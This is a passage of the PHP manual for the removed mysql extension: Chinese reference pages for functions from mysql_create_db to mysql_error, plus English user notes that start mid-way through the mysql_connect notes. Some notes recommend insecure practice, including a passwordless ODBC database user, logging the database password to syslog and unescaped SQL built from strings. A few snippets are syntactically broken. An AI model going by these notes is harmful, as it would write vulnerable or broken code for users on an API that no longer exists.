I made sure to stop the service. Then, I downloaded a zipped binary-package from dev.mysql.com and started the server a few times from the commandline (mysqld/mysqld-nt, where mysqld-nt is tuned specifically for Windows) and stopped it ("mysqladmin shutdown"). I was then able to successfully connect from the PHP-CLI ("php -r "mysql_connect('localhost', 'root', ''); ").

Making sure it was stopped, I started the regular server from the commandline, and that was then successful. I then stopped it and started it via the Services panel, and everything still worked.

I'm assuming that when the service was restarted initially, there was a component that had died and refused to be shutdown even though the service appeared to be stopped, but shutting it down via mysqladmin killed everything entirely.
dan at novapulsar dot com 11-Feb-2008 11:24
[EDIT by danbrown AT php DOT net: The issue this user is illustrating is a common problem when dealing with multiple databases from PHP.  Note his comments at the end of the code for an explanation.]

Looks like I learned this the hard way:

<?php

//establish connection to master db server
mysql_connect (DB_HOST, DB_USER, DB_PASSWORD);
mysql_select_db (DB_NAME);

//establish connection to read-only slave cluster
$objMySQL_Read = mysql_connect (SLAVE_DB_HOST, SLAVE_DB_USER, SLAVE_DB_PASSWORD);
mysql_select_db (DB_NAME, $objMySQL_Read);

$strSQL = "SELECT col1,col2 FROM "  . DB_NAME . "." . "tbl1 WHERE 1=1";

$objRS = mysql_query ($strSQL, $objMySQL_Read); //returns data from slaves

$strSQL = "INSERT INTO " . DB_NAME . "." . "tbl1 (col1,col2) VALUES (val1,val2)";

mysql_query ($strSQL);

//expected behavior, to insert the last statement into the master db, since it doesn't reference the read-only resource explicitly. instead, it inserts the record into the last connection, even though it shouldn't, since the last connection is not a global/anonymous connection like the first one, it's $objMySQL_Read.

//you'll get out of sync db's across your cluster unless you explicitly define all connection resources

?>
Steve 24-Dec-2007 03:32
The too many connections issue can be due to several problems.

1. you are using pconnect. This can tie up many connections and is not really needed for MySQL as new connections are really fast.

2. Apache children are hanging around for too long - combine this with pconnect and you have recipe for disaster.

Suggestions: reduce the amount of time apache child processes stay connected to the client and how many connections before they are killed off. And don't use pconnect.
Ignacio Casinelli Esviza 20-Oct-2007 10:51
Sometimes, I want that MySQL service start automatically when my app need it. This is specially true if you work in a development PC and/or in an small intranet environment.

You can do something like this: if the mysql_connect() function returns FALSE, try to force the initialization of the MySQL service!

For example, under Windows:

<?php

$link = @mysql_connect($server,$user,$pass);
if (empty($link)){
    @exec("%SystemRoot%\\system32\\net.exe start mysql");
    sleep(5);
    $link = @mysql_connect($servidor,$usuario,$clave);
}

?>

In Linux of course you can try "/etc/init.d/mysqld start" but you will need special permissions.

Regards.
Peter Robinett 02-Oct-2007 06:20
The use of mysql connections can become tricky with objects. I am using mysql_connect() in a database class I wrote and the class destructor calls mysql_close. Because I have several of these database objects, mysql_connect reuses existing connections. This is fine except when the script reaches the end of execution and PHP's garabage collection calls all the objects' __destruct() functions. mysql_close() throws a warning that the connection is invalid, in my case for one object. This is happening with objects which use an existing connection, as the connection has already been closed. I solved the problem by forcing mysql_connect() to create a new connection each time. This is not efficient but is sufficient for my purposes for now.

I wouldn't say this is a bug per-se, but it's something to look out for. I imagine using mysqli is the ultimate solution...
martin 09-Aug-2007 07:35
MYSQL_CLIENT_SSL is not working, use MySQLi and mysqli->ssl_set()
jslakva at gmail dot com 08-Apr-2007 06:05
if between first and second call with same arguments there was another call with another argument, initial connection link is not reused, but new connection is created instead, regardless of new_link argument.

for example, here only one single link will be opened and then reused:
<?php
$link1 = mysql_connect("localhost");
$link2 = mysql_connect("localhost");
?>

and here _three_ separate links will be opened:
<?php
$link1 = mysql_connect("localhost");
$link3 = mysql_connect("127.0.0.1");
$link2 = mysql_connect("localhost");
?>

so if you wanted to switch between connections just by call to mysql_connect, and rely on its internal link caching, you can be wasting your database connections.
angelo [at] mandato <dot> com 19-Mar-2007 01:07
The post from 'Graham_Rule at ed dot ac dot uk' should include the following WARNING:

WARING: THE VALUES OF THESE DIRECTIVES WILL BE EXPOSED IF ANY OF THE CODE INCLUDES THE phpinfo() FUNCTION.

The phpinfo() function will print these values clear as day.  I highly suggest against this method of storing MySQL authentication information.

I recommend creating connect and cleanup functions in a separate include file.  If security is a concern, locate the include file outside of your web root folder.

<?php
    $g_link = false;

    function GetMyConnection()
    {
        global $g_link;
        if( $g_link )
            return $g_link;
        $g_link = mysql_connect( 'host.name', 'user', 'password') or die('Could not connect to server.' );
        mysql_select_db('database_name', $g_link) or die('Could not select database.');
        return $g_link;
    }

    function CleanUpDB()
    {
        global $g_link;
        if( $g_link != false )
            mysql_close($g_link);
        $g_link = false;
    }

?>

Simply include your connnection.php file in your script and anywhere you use the mysql_query() function include a call to the GetMyConnection() function.

<?php
    $res = mysql_query("SELECT ...", GetMyConnection() );
?>
sky dot sama dot remove dot dots at Gmail dot com 12-Dec-2006 08:42
In case anyone else is getting "Client does not support authentication protocol requested by server; consider upgrading MySQL client" error. The problem is the new password hashing method used by MySQL >= 4.1 mentioned below.

Either update your PHP to v5 where the new password hashing is supported or use old_password() in MySQL 4.1.

FROM: http://www.digitalpeer.com/id/mysql

UPDATE mysql.user SET password=old_password("youroldhashpassword") WHERE user ='youruserid' and host ='yourhost'

then do

FLUSH PRIVILEGES
Graham_Rule at ed dot ac dot uk 10-Nov-2006 01:43
The addition of entries to httpd.conf to stop .inc files being served by Apache is certainly useful and to be recommended.

But it doesn't change the fact that these files have to be readable by Apache so that the PHP processor can get at them.

As long as your don't have multiple, possibly untrusted, users on your machine then that's OK.  But when you are running a large multi-user service with thousands of users its always possible that one of them will look at your .inc files and take a note of the passwords you have in them.  They could even copy them into their own scripts and modify your databases!

Even if local users are trusted, there is always the possibility of a rogue script (PHP or some nastier language) being installed by an ignorant user.  That script might then read your .inc files (whether or not they are in the web publishing tree) and expose your password.
brinca at substancia dot com 09-Nov-2006 07:43
If you prefer to use a hostname instead of an ip on your connection string in a script (to be able to change the ip at will), but don't want the overhead of dns lookups, just add it to your /etc/hosts file (in windows: %WINDIR%/system32/drivers/etc/hosts).

For example, add the following to your hosts file (changing the bogus ip to your server's real ip):

123.123.123.123   mysqlserver1

Note: On linux, make sure you have "order: hosts,bind" on your /etc/host.conf file.

On a script, make the mysql connection like so:

<?
  $sid = mysql_connect ("mysqlserver1", "user", "pass");
?>

Note: this sample is in php, but it can be any other programming language (just type "ping mysqlserver1" on a prompt, on your server)

And there you have it! If your server ever gets assigned a different ip, just update the hosts file with the new one (every script will work as-is, even if under different hostnames).
rui dot batista at netcabo dot pt 31-May-2006 08:42
Ever wonder what "default username" is?
<?php
$link = mysql_connect() or die(mysql_error());
$result = mysql_query("SELECT SESSION_USER(), CURRENT_USER();");
$row = mysql_fetch_row($result);
echo "SESSION USER: ", $row[0], "<br>\n";
echo "CURRENT USER: ", $row[1], "<br>\n";
?>
Both are ODBC@localhost in my win2k install, so my advice for windows is:
- create a MySQL user named ODBC with no password
- add localhost to ODBC user [right-click ODBC]
- set schema previleges to ODBC@localhost
- use mysql_connect() with no parms, or do not use ;)
This turns to work also with odbc_connect:
odbc_connect("myDSN", "", "")
25-Jun-2005 03:18
connect to mysql via named pipe under windows :

in my.ini, add this:

[mysqld]
enable-named-pipe

then connect to the server, then connect to mysql using

mysql_connect('.')
chaoscontrol_hq at yahoo dot com 23-Aug-2004 02:10
In MySQL4.1 and later, the default password hashing format has changed making it incompatible with 3.x clients.
I found out mysql_connect() works on server versions >= 4.1 when your MySQL user password is blank because password authentication isn't done in that case, otherwise you need to use another connection method (e.g. mysqli).
Also if you are using old MySQL tables on a new server (i.e. the passwords are stored in the old format), then the server will use the old auth method automatically and this function should work in all cases.
Hopefully this will help someone, it had me confused for a while because some of the users on my 4.1 server could connect and some couldn't.
martinnitram at excite dot com 31-Oct-2003 02:22
to use load data local infile function from mysql (at mysql 4.0.16, php 4.3.3), set fifth parameter of mysql_connect() to CLIENT_LOCAL_FILES(128), which based on MYSQL C API ( also mysql server support load file, check by "show variables like 'local_infile' ")

Thank  'phpweb at eden2 dot com' to point this out
Graham_Rule at ed dot ac dot uk 14-May-2003 08:43
Another solution to the security problems of putting usernames and passwords into scripts. I haven't found this documented anywhere else so thought I'd suggest it for the online documentation. ........

Don't put passwords for mysql into scripts which may be read by any user on the machine.  Instead put them into an Apache configuration file and make sure that it is not world-readable. (Apache reads its main config files as root.)

For example, add this to your httpd.conf (and chmod it to 600 or 660) then tell your apache to reload itself (apachectl graceful).

<Directory /var/www/html/mydatabase>
    php_value mysql.default_user fred
    php_value mysql.default_password secret
    php_value mysql.default_host server.example.com
</Directory>

Then all you need in your PHP code is

$handle = mysql_connect() or die(mysql_error());

The passwords etc will only be picked up by scripts running in the named directory (or a sub-directory).  The same may be done for virtualhosts etc.

If you don't want to keep reloading your Apache server then you ay test things putting the php_value directives into a (world readable) .htaccess file. (Clearly not for production use.)

If you need to debug the values that are being supplied (or not) then use this snippet:

@syslog(LOG_DEBUG, "Using user=".ini_get("mysql.default_user").
            " pass=".ini_get("mysql.default_password").
            " host=".ini_get("mysql.default_host"));

(This assumes that you are not running in 'safe_mode' and that you are on a unix of some sort.)
amn -at- frognet.net 11-Mar-2003 10:40
Just in case you didn't know. You can use mysql_connect in a function to connect to a database and the connection is a super-global... meaning you can use mysql_query in other functions or in no function at all and PHP will use the connection that you opened. This is a handy bit of knowledge that helps if you have a large site with lots of scripts. If you create one function to connect to a db, and call that function in all your scripts, it makes for easier code maintenance since you only have to update one line of code to change your mysql connection instead of updating all your scripts individually.


新建一个 MySQL 数据库

  • ? mysql_connect
  • mysql_data_seek ?
  • PHP Manual
  • MySQL 函数
  • 新建一个 MySQL 数据库

mysql_create_db

(PHP 4, PHP 5)

mysql_create_db — 新建一个 MySQL 数据库

Warning

本函数自 PHP 4.3.0 起已废弃，并且它和整个 MySQL 扩展自 PHP 7.0.0 开始被移除。 可以选择出于活跃开发中的 MySQLi 或 PDO_MySQL 扩展来作为替代。 参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_query()
  • PDO::query()

说明

mysql_create_db(string $database name, resource $link_identifier = ?): bool

mysql_create_db() 尝试在指定的连接标识所关联的服务器上建立一个新数据库。

参数

database_name

要创建的数据库名。

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 替代 mysql_create_db() 示例

mysql_create_db() 函数已废弃。最好用 mysql_query() 来提交一条 SQL 的 CREATE DATABASE 语句来代替。

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}

$sql = 'CREATE DATABASE my_db';
if (mysql_query($sql, $link)) {
echo "Database my_db created successfully\n";
} else {
echo 'Error creating database: ' . mysql_error() . "\n";
}
?>

以上示例的输出类似于：

Database my_db created successfully

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_createdb()

Note:

如果 MySQL 扩展是基于 MySQL 4.x 客户端库编译的话则本函数不可用。

参见

  • mysql_query() - 发送一条 MySQL 查询
  • mysql_select_db() - 选择 MySQL 数据库

User Contributed Notes

There are no user contributed notes for this page.


移动内部结果的指针

  • ? mysql_create_db
  • mysql_db_name ?
  • PHP Manual
  • MySQL 函数
  • 移动内部结果的指针

mysql_data_seek

(PHP 4, PHP 5)

mysql_data_seek — 移动内部结果的指针

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_data_seek()
  • PDO::FETCH_ORI_ABS

说明

mysql_data_seek(resource $result, int $row_number): bool

mysql_data_seek() 将指定的结果标识所关联的 MySQL 结果内部的行指针移动到指定的行号。接着调用 mysql_fetch_row() 将返回那一行。

row_number 从 0 开始。row_number 的取值范围应该从 0 到 mysql_num_rows - 1。但是如果结果集为空（mysql_num_rows() == 0），要将指针移动到 0 会失败并发出 E_WARNING 级的错误，mysql_data_seek() 将返回 false。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

row_number

想要设定的新的结果集指针的行数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 mysql_data_seek() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
$db_selected = mysql_select_db('sample_db');
if (!$db_selected) {
die('Could not select database: ' . mysql_error());
}
$query = 'SELECT last_name, first_name FROM friends';
$result = mysql_query($query);
if (!$result) {
die('Query failed: ' . mysql_error());
}
/* fetch rows in reverse order */
for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
if (!mysql_data_seek($result, $i)) {
echo "Cannot seek to row $i: " . mysql_error() . "\n";
continue;
}

if (!($row = mysql_fetch_assoc($result))) {
continue;
}

echo $row['last_name'] . ' ' . $row['first_name'] . "<br />\n";
}

mysql_free_result($result);
?>

注释

Note:

mysql_data_seek() 只能和
mysql_query() 结合起来使用，而不能用于
mysql_unbuffered_query()。

参见

  • mysql_query() - 发送一条 MySQL 查询
  • mysql_num_rows() - 获取结果中行数
  • mysql_fetch_row() - 从结果集中取得一行作为枚举数组
  • mysql_fetch_assoc() - 从结果集中取得一行作为关联数组
  • mysql_fetch_array() - 从结果集中取得一行作为关联数组
  • mysql_fetch_object() - 从结果集中取得一行作为对象返回

User Contributed Notes

saeed at photobookworldwide dot com 25-Nov-2011 06:30
Here, you can find the current pointer of selected row easily:

<?php
//selected row with id=4
$id    =    "4";

$result    =    mysql_query("select * from jos_components");

$num    =    mysql_num_rows($result);

for($i=0;$i<$num;$i++){

    mysql_data_seek($result,$i);

    $row    =    mysql_fetch_assoc($result);

    if($row['id']    ==    $id){

        $pointer    =    $i;
    }

}

// current pointer for selected row
echo $pointer;
?>
Daniel 28-Aug-2008 02:59
Here is a simple function to "peek" at the position of the internal pointer in a query result:

<?php
function mysql_pointer_position($result_set) {
        $num_rows = mysql_num_rows($result_set);
        $i = 0;
        while($result = mysql_fetch_array($result_set)) {
            $i++;
        }
        $pointer_position = $num_rows - $i;

//Return pointer to original position
        if($pointer_position <= $num_rows - 1) {
            mysql_data_seek($result_set, $pointer_position);
        }
        return $pointer_position;
    }
?>
30-May-2006 01:52
A helpful note about the 'resource' data type.

Since the 'resource' variable is pointing to a row in a result set at any given time, you can think of it as being passed to this function by reference every time you pass it or assign it to a variable.

<?

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

while ($row = mysql_fetch_assoc($result)) {
    // This code will never run because the 'resource' variable is pointing past the end of the result set,
    // even though it was *not* assigned by reference to $result2.
}

?>

Therefore, the following snipits are functionally identical:

<?

// Start snipit 1

$sql = "SELECT * from <table>";
$result = mysql_query($sql);

while ($row = mysql_fetch_assoc($result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($result)) {
    // do other stuff with $row
}

// Start snipit 2

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($temp_result)) {
    // do other stuff with $row
}

?>
arturo_b at hotmail dot com 20-Apr-2005 08:53
hello, this script would be easy to understand for those that are novice in php whose want to understand about this function:

the table "user" have 2 columns "id" and "name".
"user" content:
position 0: "id"=195342481 "name"='Arthur'
position 1: "id"=179154675 "name"='John'
>>position 2<<: "id"=157761949 "name"='April' >>third row<<
position 3: "id"=124492684 "name"='Tammy'
position 4: "id"=191346457 "name"='Mike'

<?php
  mysql_connect("localhost", "root")
  mysql_select_db("test");
  $sql = mysql_query("select * from user");
  mysql_data_seek($sql, 2);
  echo "<table border=1>";
  while ($row = mysql_fetch_row($sql)){
    echo "<tr><td>$row[0]</td><td>$row[1]</td></tr>";
  }
  echo "</tabla>";
?>

explanation:
mysql_data_seek move internal result pointer to the third row of table user. Thus mysql_fetch_row will begin by april?s row.
b.steinbrink at g m x dot de 08-Dec-2004 11:09
to kennethnash1134 at yahoo dot com

your loop can be done like this as well and i guess this is faster:

$r=mysql_query("select user,id,ip from accounts limit 10");

unset($users); // Just to be sure
while($users[] = mysql_fetch_row);
array_pop($users); // Drop the last entry which is FALSE
kennethnash1134 at yahoo dot com 26-Mar-2004 12:12
/*here is a nice function for converting a mysql result row set into a 2d array, a time saver if need small data from several rows, saves you from having to do Alot of queries... would be nice to have this built into PHP future versions :) */

// simple example query
$r=mysql_query("select user,id,ip from accounts limit 10");

//starts the for loop, using mysql_num_rows() to count total
//amount of rows returned by $r
for($i=0; $i<mysql_num_rows($r); $i++){
             //advances the row in the mysql resource $r
    mysql_data_seek($r,$i);
             //assigns the array keys, $users[row][field]
    $users[$i]=mysql_fetch_row($r);
}

//simple, hope someone can use it :)
// -Kenneth Nash


取得 mysql_list_dbs 返回的结果数据

  • ? mysql_data_seek
  • mysql_db_query ?
  • PHP Manual
  • MySQL 函数
  • 取得 mysql_list_dbs 返回的结果数据

mysql_db_name

(PHP 4, PHP 5)

mysql_db_name — 取得 mysql_list_dbs() 返回的结果数据

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • Query: SELECT DATABASE()

说明

mysql_db_name(resource $result, int $row, mixed $field = NULL): string

取得 mysql_list_dbs() 调用所返回的数据库名。

参数

result

mysql_list_dbs() 调用所返回的结果指针。

row

结果集中的行号。

field

字段名。

返回值

如果成功则返回数据库名，失败返回 false。如果返回了 false，用 mysql_error() 来判断错误的种类。

示例

Example #1 mysql_db_name() 示例

<?php
error_reporting(E_ALL);

$link = mysql_connect('dbhost', 'username', 'password');
$db_list = mysql_list_dbs($link);

$i = 0;
$cnt = mysql_num_rows($db_list);
while ($i < $cnt) {
echo mysql_db_name($db_list, $i) . "\n";
$i++;
}
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_dbname()

参见

  • mysql_list_dbs() - 列出 MySQL 服务器中可用的数据库
  • mysql_tablename() - 取得表名

User Contributed Notes

There are no user contributed notes for this page.


选择数据库并执行查询

  • ? mysql_db_name
  • mysql_drop_db ?
  • PHP Manual
  • MySQL 函数
  • 选择数据库并执行查询

mysql_db_query

(PHP 4, PHP 5)

mysql_db_query — 选择数据库并执行查询

Warning

本函数自 PHP 5.3.0 起已废弃，并且它和整个 MySQL 扩展自 PHP 7.0.0 开始被移除。 可以选择出于活跃开发中的 MySQLi 或 PDO_MySQL 扩展来作为替代。 参见 MySQL：选择 API 指南获取更多信息。用以替代本函数的有：

  • mysqli_select_db() 然后查询
  • PDO::__construct()

说明

mysql_db_query(string $database, string $query, resource $link_identifier = NULL): resource|bool

mysql_db_query() 选择数据库并执行查询。

参数

database

要选择的数据库名。

query

MySQL 查询。

查询中的数据应正确转义。

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

返回正的 MySQL 结果资源到查询结果，出错时返回 false。本函数会对 INSERT/UPDATE/DELETE 查询返回 true/false 来指示成功或失败。

示例

Example #1 替代 mysql_db_query() 示例

<?php

if (!$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
echo 'Could not connect to mysql';
exit;
}

if (!mysql_select_db('mysql_dbname', $link)) {
echo 'Could not select database';
exit;
}

$sql = 'SELECT foo FROM bar WHERE id = 42';
$result = mysql_query($sql, $link);

if (!$result) {
echo "DB Error, could not query the database\n";
echo 'MySQL Error: ' . mysql_error();
exit;
}

while ($row = mysql_fetch_assoc($result)) {
echo $row['foo'];
}

mysql_free_result($result);

?>

注释

Note:

注意此函数不会切换回先前连接到的数据库。换句话说，不能用此函数临时在另一个数据库上执行 sql 查询，只能手工切换回来。强烈建议用户在 sql 查询中使用 database.table 语法或 mysql_select_db() 替代此函数。

参见

  • mysql_query() - 发送一条 MySQL 查询
  • mysql_select_db() - 选择 MySQL 数据库

User Contributed Notes

There are no user contributed notes for this page.


丢弃（删除）一个 MySQL 数据库

  • ? mysql_db_query
  • mysql_errno ?
  • PHP Manual
  • MySQL 函数
  • 丢弃（删除）一个 MySQL 数据库

mysql_drop_db

(PHP 4, PHP 5)

mysql_drop_db — 丢弃（删除）一个 MySQL 数据库

Warning

本函数自 PHP 4.3.0 起已废弃，并且它和整个 MySQL 扩展自 PHP 7.0.0 开始被移除。 可以选择出于活跃开发中的 MySQLi 或 PDO_MySQL 扩展来作为替代。 参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • Execute a DROP DATABASE query

说明

mysql_drop_db(string $database_name, resource $ link_identifier = ?): bool

mysql_drop_db() 尝试丢弃（删除）指定连接标识所关联的服务器上的一整个数据库。

成功时返回 true， 或者在失败时返回 false。

为向下兼容也可以用 mysql_dropdb()，但反对这样做。

Note:

不提倡使用 mysql_drop_db() 函数。最好用 mysql_query() 提交一条 SQL DROP DATABASE 语句来替代。

Warning

如果 MySQL 扩展库是基于 MySQL 4.x 客户端库建立的，则本函数不可用。

参见 mysql_create_db() 和 mysql_query()。

参数

database_name

The name of the database that will be deleted.

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 mysql_drop_db() alternative example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}

$sql = 'DROP DATABASE my_db';
if (mysql_query($sql, $link)) {
echo "Database my_db was successfully dropped\n";
} else {
echo 'Error dropping database: ' . mysql_error() . "\n";
}
?>

注释

Warning

This function will not be available if the MySQL extension was built against a MySQL 4.x client library.

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_dropdb()

参见

  • mysql_query() - 发送一条 MySQL 查询

User Contributed Notes

There are no user contributed notes for this page.


返回上一个 MySQL 操作中的错误信息的数值

  • ? mysql_drop_db
  • mysql_error ?
  • PHP Manual
  • MySQL 函数
  • 返回上一个 MySQL 操作中的错误信息的数值

mysql_errno

(PHP 4, PHP 5)

mysql_errno — 返回上一个 MySQL 操作中的错误信息的数值

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_errno()
  • PDO::errorCode()

说明

mysql_errno(resource $link_identifier = NULL): int

返回上一个 MySQL 函数的错误号码。

从 MySQL 数据库后端来的错误不再发出警告。要用 mysql_errno() 来检索错误代码。注意本函数仅返回最近执行的 MySQL 函数（不包括 mysql_error() 和 mysql_errno()）的错误代码，因此如果要使用此函数，确保在调用另一个 MySQL 函数之前检查它的值。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

Returns the error number from the last MySQL function, or 0 (zero) if no error occurred.

示例

Example #1 mysql_errno() 示例

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!mysql_select_db("nonexistentdb", $link)) {
echo mysql_errno($link) . ": " . mysql_error($link). "\n";
}

mysql_select_db("kossu", $link);
if (!mysql_query("SELECT * FROM nonexistenttable", $link)) {
echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
}
?>

以上示例的输出类似于：

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

参见

  • mysql_error() - 返回上一个 MySQL 操作中的错误信息的文本
  • » MySQL 错误代码

User Contributed Notes

timstamp.co.uk 25-Jun-2007 07:51
If you are receiving errors like:
Warning: mysql_close(): 5 is not a valid MySQL-Link resource

Check that you are calling mysql_error() and mysql_errno() BEFORE you call mysql_close().
simon at paarlberg dot dk 13-Dec-2005 03:40
Function for creating unique md5 keys in a database. If there are duplets, then a new md5-key will be generated. For your use:

  function users_md5create($id){
    global $mysql_link;

    while ($done==0) {
      $md5key = md5(time().($id/2).$loop).md5(time().$id.$loop);
      $query = "INSERT INTO users_md5create SET md5key='$md5key', fkey='$id', created=UNIX_TIMESTAMP() ";
      $mysql_result = mysql_query($query, $mysql_link);
      if(mysql_errno($mysql_link)!=1062) $done=1;
      $loop++;
    }

    return($md5key);
  }
apoio at cyberspace dot org 29-Jun-2000 05:58
All mysqld error messages are located into the file /usr/local/share/mysql/english/errmsg.txt and listed in numerical order from 999 to 1175. You can change the output language as well, issuing the '-L spanish' option for example. See the manual for more details.


返回上一个 MySQL 操作中的错误信息的文本

  • ? mysql_errno
  • mysql_escape_string ?
  • PHP Manual
  • MySQL 函数
  • 返回上一个 MySQL 操作中的错误信息的文本

mysql_error

(PHP 4, PHP 5)

mysql_error — 返回上一个 MySQL 操作中的错误信息的文本

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_error()
  • PDO::errorInfo()

说明

mysql_error(resource $link_identifier = NULL): string

返回上一个 MySQL 函数的错误文本。 从 MySQL 数据库后端来的错误不再发出警告。要用 mysql_error() 来检索错误文本。注意本函数仅返回最近执行的 MySQL 函数（不包括 mysql_error() 和 mysql_errno()）的错误文本，因此如果要使用此函数，确保在调用另一个 MySQL 函数之前检查它的值。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

返回上一个 MySQL 函数的错误文本，如果没有出错则返回 ''（空字符串）。

示例

Example #1 mysql_error() 示例

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

mysql_select_db("nonexistentdb", $link);
echo mysql_errno($link) . ": " . mysql_error($link). "\n";

mysql_select_db("kossu", $link);
mysql_query("SELECT * FROM nonexistenttable", $link);
echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
?>

以上示例的输出类似于：

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

参见

  • mysql_errno() - 返回上一个 MySQL 操作中的错误信息的数值
  • » MySQL 错误代码

User Contributed Notes

Gerrit 30-Aug-2014 09:30
The following code returns two times the same error, even though I would have expected only one:

   $ conn = mysql_connect ('localhost', 'root', '');
   $ conn2 = mysql_connect ('localhost', 'root', '');

   mysql_select_db ('db1', $ conn);
   mysql_select_db ('db2', $ conn2);

   $ result = mysql_query ("select 1 from dual", $ conn);
   $ result2 = mysql_query ("select 1 from luad", $ conn2);

   echo mysql_error ($ conn) "<hr>".
   echo mysql_error ($ conn2) "<hr>".

The reason for this is that mysql_connect not working as expected a further connection returns. Since the parameters are equal, a further reference to the previous link is returned. So also changes the second mysql_select_db the selected DB of $conn to 'db2'.

If you change the connection parameters of the second connection to 127.0.0.1, a new connection is returned. In addition to the parameters new_link the mysql_connect() function to be forced.
Florian Sidler 02-Feb-2010 02:33
Be aware that if you are using multiple MySQL connections you MUST support the link identifier to the mysql_error() function. Otherwise your error message will be blank.

Just spent a good 30 minutes trying to figure out why i didn't see my SQL errors.
Pendragon Castle 13-Jan-2009 07:16
Using a manipulation of josh ><>'s function, I created the following. It's purpose is to use the DB to store errors. It handles both original query, as well as the error log. Included Larry Ullman's escape_data() as well since I use it in q().

<?php
function escape_data($data){
 global $dbc;
 if(ini_get('magic_quotes_gpc')){
  $data=stripslashes($data);
 }
 return mysql_real_escape_string(trim($data),$dbc);
}

function q($page,$query){
// $page
 $result = mysql_query($query);
 if (mysql_errno()) {
  $error = "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
  $log = mysql_query("INSERT INTO db_errors (error_page,error_text) VALUES ('$page','".escape_data($error)."')");
 }
}

// Run the query using q()
$query = "INSERT INTO names (first, last) VALUES ('myfirst', 'mylast'");
$result = q("Sample Page Title",$query);
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 03:50
A friend of mine proposed a great solution.

<?php
$old_track = ini_set('track_errors', '1');

.....

        if ($this->db_handle!=FALSE && $db_selection_status!=FALSE)
            {
            $this->connected=1;
            ini_set('track_errors', $old_track);
            }
        else
            {
            $this->connected=-1;
            $mysql_warning=$php_errormsg;
            ini_set('track_errors', $old_track);
            throw new mysql_cns_exception(1, $mysql_warning . " " . mysql_error());
            }
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 01:20
"Errors coming back from the MySQL database backend no longer issue warnings." Please note, you have an error/bug here. In fact, MySQL 5.1 with PHP 5.2:

Warning: mysql_connect() [function.mysql-connect]: Unknown MySQL server host 'locallllllhost' (11001)

That's a warning, which is not trapped by mysql_error()!
phpnet at robzazueta dot com 23-Jan-2007 11:14
This is a big one - As of MySQL 4.1 and above, apparently, the way passwords are hashed has changed. PHP 4.x is not compatible with this change, though PHP 5.0 is. I'm still using the 4.x series for various compatibility reasons, so when I set up MySQL 5.0.x on IIS 6.0 running PHP 4.4.4 I was surpised to get this error from mysql_error():

MYSQL: Client does not support authentication protocol requested by server; consider upgrading MySQL client

